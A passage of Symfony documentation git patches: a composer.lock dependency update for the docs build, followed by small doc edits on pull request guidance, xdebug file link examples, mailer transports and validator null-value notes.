-        "symfony/docs-builder": "dev-master",
-        "symfony/process": "9999999-dev"
+        "symfony/console": "^4.4",
+        "symfony/docs-builder": "^0.12.0",
+        "symfony/process": "^4.4"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 8a5ab63dcb7..b1815909808 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
+    "content-hash": "f237cd997543c606037f2517b2ffad9f",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -571,16 +571,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.3",
+            "version": "v9.18.1.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
+                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/44a3d4136edb5ad8551590bf90f437db80b2d466",
+                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466",
                 "shasum": ""
             },
             "require": {
@@ -594,9 +594,6 @@
                 "symfony/finder": "^2.8|^3.4",
                 "symfony/var-dumper": "^2.8|^3.4"
             },
-            "suggest": {
-                "ext-dom": "Needed to make use of the features in the utilities namespace"
-            },
             "type": "library",
             "autoload": {
                 "psr-0": {
@@ -646,20 +643,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-16T07:43:22+00:00"
+            "time": "2020-12-22T19:20:29+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
+                "reference": "24026c44fc37099fa145707fecd43672831b837a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "url": "https://api.github.com/repos/symfony/console/zipball/24026c44fc37099fa145707fecd43672831b837a",
+                "reference": "24026c44fc37099fa145707fecd43672831b837a",
                 "shasum": ""
             },
             "require": {
@@ -694,11 +691,6 @@
                 "symfony/process": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Console\\": ""
@@ -721,10 +713,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Console Component",
+            "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.15"
+                "source": "https://github.com/symfony/console/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -740,31 +732,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-15T07:58:55+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
+                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f907d3e53ecb2a5fad8609eb2f30525287a734c8",
+                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1.3"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\CssSelector\\": ""
@@ -791,10 +778,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony CssSelector Component",
+            "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
+                "source": "https://github.com/symfony/css-selector/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -810,11 +797,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-07-05T09:39:30+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/docs-builder",
-            "version": "dev-master",
+            "version": "v0.12.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
@@ -839,7 +826,6 @@
                 "symfony/phpunit-bridge": "^4.1",
                 "symfony/process": "^4.2"
             },
-            "default-branch": true,
             "type": "project",
             "autoload": {
                 "psr-4": {
@@ -854,16 +840,16 @@
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
+                "reference": "21032c566558255e551d23f4a516434c9e3a9a78"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/21032c566558255e551d23f4a516434c9e3a9a78",
+                "reference": "21032c566558255e551d23f4a516434c9e3a9a78",
                 "shasum": ""
             },
             "require": {
@@ -882,11 +868,6 @@
                 "symfony/css-selector": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\DomCrawler\\": ""
@@ -909,10 +890,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony DomCrawler Component",
+            "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
+                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -928,20 +909,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
+                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/83a6feed14846d2d9f3916adbaf838819e4e3380",
+                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380",
                 "shasum": ""
             },
             "require": {
@@ -949,11 +930,6 @@
                 "symfony/polyfill-ctype": "~1.8"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Filesystem\\": ""
@@ -976,10 +952,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Filesystem Component",
+            "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
+                "source": "https://github.com/symfony/filesystem/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -995,31 +971,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-27T13:54:16+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
+                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
+                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1.3"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Finder\\": ""
@@ -1042,10 +1013,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Finder Component",
+            "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.15"
+                "source": "https://github.com/symfony/finder/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1061,20 +1032,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
+                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/d8df50fe9229576b254c6822eb5cfff36c02c967",
+                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1062,7 @@
                 "symfony/http-client-implementation": "1.1"
             },
             "require-dev": {
-                "guzzlehttp/promises": "^1.3.1",
+                "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
@@ -1100,11 +1071,6 @@
                 "symfony/process": "^4.2|^5.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\HttpClient\\": ""
@@ -1127,10 +1093,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony HttpClient component",
+            "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
+                "source": "https://github.com/symfony/http-client/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1146,7 +1112,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T13:41:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -1229,16 +1195,16 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
+                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/c6c942b1ac76c82448322025e084cadc56048b4e",
+                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e",
                 "shasum": ""
             },
             "require": {
@@ -1250,7 +1216,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1288,7 +1254,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1304,20 +1270,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-intl-idn",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
+                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/2d63434d922daf7da8dd863e7907e67ee3031483",
+                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483",
                 "shasum": ""
             },
             "require": {
@@ -1331,7 +1297,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1375,7 +1341,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1391,20 +1357,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "727d1096295d807c309fb01a851577302394c897"
+                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
-                "reference": "727d1096295d807c309fb01a851577302394c897",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/43a0283138253ed1d48d352ab6d0bdb3f809f248",
+                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248",
                 "shasum": ""
             },
             "require": {
@@ -1416,7 +1382,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1459,7 +1425,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1475,20 +1441,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
+                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/5232de97ee3b75b0360528dae24e73db49566ab1",
+                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1",
                 "shasum": ""
             },
             "require": {
@@ -1500,7 +1466,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1539,7 +1505,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1555,20 +1521,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-php72",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
+                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
+                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
                 "shasum": ""
             },
             "require": {
@@ -1577,7 +1543,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1615,7 +1581,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1631,20 +1597,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
+                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
+                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1619,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1694,7 +1660,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1710,20 +1676,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
+                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dc3063ba22c2a1fd2f45ed856374d79114998f91",
+                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91",
                 "shasum": ""
             },
             "require": {
@@ -1732,7 +1698,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1777,7 +1743,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1793,27 +1759,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "5.x-dev",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
+                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "url": "https://api.github.com/repos/symfony/process/zipball/7e950b6366d4da90292c2e7fa820b3c1842b965a",
+                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "php": ">=7.1.3"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -1837,10 +1801,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Process Component",
+            "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.x"
+                "source": "https://github.com/symfony/process/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1856,7 +1820,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-24T12:08:07+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/service-contracts",
@@ -1939,16 +1903,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.0",
+            "version": "v2.14.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
+                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8bc568d460d88b25c00c046256ec14a787ea60d9",
+                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9",
                 "shasum": ""
             },
             "require": {
@@ -2002,7 +1966,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
+                "source": "https://github.com/twigphp/Twig/tree/v2.14.3"
             },
             "funding": [
                 {
@@ -2014,16 +1978,13 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:35:06+00:00"
+            "time": "2021-01-05T15:34:33+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": {
-        "symfony/docs-builder": 20,
-        "symfony/process": 20
-    },
+    "stability-flags": [],
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {

From f68b17f307b6c614d39917e4fc9f5a17c803ae03 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 15:23:59 +0100
Subject: [PATCH 1898/7107] Remove comment about PR draft status

---
 contributing/code/pull_requests.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1cb0da6dddc..58a6004ca14 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -370,8 +370,7 @@ because you want early feedback on your work, add an item to todo-list:
     - [ ] gather feedback for my changes
 
 As long as you have items in the todo-list, please prefix the pull request
-title with "[WIP]". If you do not yet want to trigger the automated tests,
-you can also set the PR to `draft status`_.
+title with "[WIP]".
 
 In the pull request description, give as much detail as possible about your
 changes (don't hesitate to give code examples to illustrate your points). If
@@ -436,4 +435,3 @@ before merging.
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
-.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests

From 33794481aea1a41001d514c33ca1f24f9e214d81 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 17:52:43 +0100
Subject: [PATCH 1899/7107] Show example how to set xdebug.file_link_format

---
 reference/configuration/framework.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4515077d1d7..246726e820c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -415,7 +415,13 @@ Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
 ``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
 format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them.
+need to escape the percent signs (``%``) by doubling them::
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for Sublime
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::
 

From 1859757418b7731cecc099fa9518e32008623370 Mon Sep 17 00:00:00 2001
From: Pierre Boissinot <pierre.boissinot@lephare.com>
Date: Wed, 24 Feb 2021 21:45:59 +0100
Subject: [PATCH 1900/7107] doc(mailer): add Sendinblue to transports
 supporting tags and metadata

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index ea83e0a4f46..08a10c59e03 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1209,6 +1209,7 @@ The following transports currently support tags and metadata:
 * Postmark
 * Mailgun
 * MailChimp
+* Sendinblue
 
 Development & Debugging
 -----------------------

From 69f9db34df0fa0c54aea8f6a3d72a1490ab4cb75 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 24 Feb 2021 21:39:22 +0100
Subject: [PATCH 1901/7107] [Validator] Mention IsNull in Basic Constraints

---
 reference/constraints/IsFalse.rst                    | 2 ++
 reference/constraints/IsTrue.rst                     | 2 ++
 reference/constraints/Type.rst                       | 2 ++
 reference/constraints/_null-values-are-valid.rst.inc | 6 ++++++
 4 files changed, 12 insertions(+)
 create mode 100644 reference/constraints/_null-values-are-valid.rst.inc

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 5b2597d8657..63f1364024c 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -107,6 +107,8 @@ method returns **false**:
             // ...
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d9d53b04f82..aa172153e9f 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -111,6 +111,8 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 If the ``isTokenValid()`` returns false, the validation will fail.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 103ea9fd43c..307b7565749 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -148,6 +148,8 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
     The feature to define multiple types in the ``type`` option was introduced
     in Symfony 4.4.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/_null-values-are-valid.rst.inc b/reference/constraints/_null-values-are-valid.rst.inc
new file mode 100644
index 00000000000..49b6a54faad
--- /dev/null
